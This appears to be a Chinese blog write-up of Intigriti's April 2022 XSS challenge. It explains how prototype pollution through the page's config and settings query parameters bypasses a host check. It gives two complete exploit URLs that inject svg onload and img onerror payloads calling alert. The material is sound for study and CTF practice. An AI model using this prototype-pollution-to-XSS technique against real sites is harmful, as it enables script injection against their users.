网络安全-intigriti-0422-XSS-Challenge Write-up

目录

一、环境

二、解题

2.1看源码


一、环境

Intigriti April Challenge

二、解题

要求:弹出域名就算成功

2.1看源码

我们看到marge方法,肯定是原型链污染题目

接的是传参,我们可控的点在于qs.config和qs.settings,这两个可控又可以覆盖原来的配置项

那我们得看checkHost怎么进来,匹配一下可以看到temp分割取端口号,hostname取域名

它们的两个值是数组,假如说appConfig["window-toolbar"][__proto__][1] = 8080,这样是不是可以把8080取出来,那我们的问题就到突破checkHost

JavaScript中,数组的下标可以⽤字符或是字符串数字来取值,所以在原型链中,我们可 以给[]对象添加⼀个名称为1的属性,这样 temp 在通过下标 1 取值的时候,实际上取到的 是数组中属性为 1 的值

[].constructor.prototype['1'] = 8080
//[1: 8080, constructor: ƒ, concat: ƒ, copyWithin: ƒ, fill: ƒ, find: ƒ, …]

那我们可以 利用这个数组突破checkHost,现在temp[1]的祖先1就等于8080

?config[window-toolbar][constructor][prototype][1]=8080

现在还有一个问题覆盖root为<svg>这个标签

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E

 我们可以看到已经被污染

最开始要取body但是只能取到main所以通过main一层层继承取到了,我们也看的很清最后取的svg再body下

那怎么污染的,我们通过结果看过程,最后因为svg是我们插进去的,在没有插进去之前div应该是第一个,相当于就是将root覆盖为了root,但是我们的命令在进去之前已经被js处理为数组了,所以最后[outerHTML]后面还有一个1去取payload

第二种解法原理一样:替换body

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][constructor][prototype][xd][s]=1&config[window-toolbar][constructor][constructor][constructor][prototype][xd][constructor][prototype][innerHTML][0]=%3Cimg%20src%3da%20onerror%3dalert(document.domain);alert%3dundefined%3E

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值